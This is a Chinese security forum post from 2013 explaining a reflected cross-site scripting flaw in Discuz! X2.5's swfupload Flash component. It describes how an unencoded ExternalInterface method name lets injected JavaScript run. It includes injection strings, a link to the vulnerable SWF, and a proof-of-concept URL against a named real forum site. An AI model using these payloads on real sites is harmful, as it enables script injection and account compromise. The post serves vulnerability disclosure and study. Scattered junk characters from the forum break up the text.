找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2321|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说4 G; Y3 z. r; w6 [
( H9 z+ K/ i4 B/ J0 G/ \
flash.external.ExternalInterface.call($methodName, $parameter)
& ]; m3 W7 ]! ?在浏览器中执行的是
! g' X7 q' h' E7 O( V4 h! b; a' _/ F0 j- D5 Q" [
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
: O/ p" n. U8 v6 u4 d对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
8 m9 o) Q: t  K% {  F
' z  h& J2 O% S+ R. [' M$ E* Iflash.external.ExternalInterface.call("object."+$methodName, $parameter)
# N; J* r0 s# d0 H; k2 u5 o7 l$ v$methodName = a())}catch(e){alert(/xss/)}//8 Z1 |( ^) I: b$ ~3 h' ^
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。- N4 `; c8 U) {) }

, w' f8 j% {" M6 N, V) Htry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }3 T, K3 o, V+ H3 U* i  f

8 ?( T# @/ {1 A* E) N+ R" W这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )' f. R- d8 p9 e
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。% Q" Y/ `. d" C$ E6 @- G
$ _7 {6 p' n* b. {, {1 g1 x2 T7 [% k$ K
. ?' _) z- {1 I, a% z( [
7 T- B6 y9 H7 s5 V1 T
漏洞文件:upload\static\image\common\swfupload.swf- y4 S" p( J9 z  l1 B  _
: u9 [6 s# g$ ~% ?5 C
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
7 O% V2 z  B* W" [& i2 ?& n' D. t; `  i8 T; L! R2 q

, F, z* p) F% y9 s6 Y漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
8 j# A$ [8 n& g- _7 |* \! H2 I; y7 p( d8 h/ ^) E6 c5 N+ a

/ T% S/ |" s# G! M2 u3 e: s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表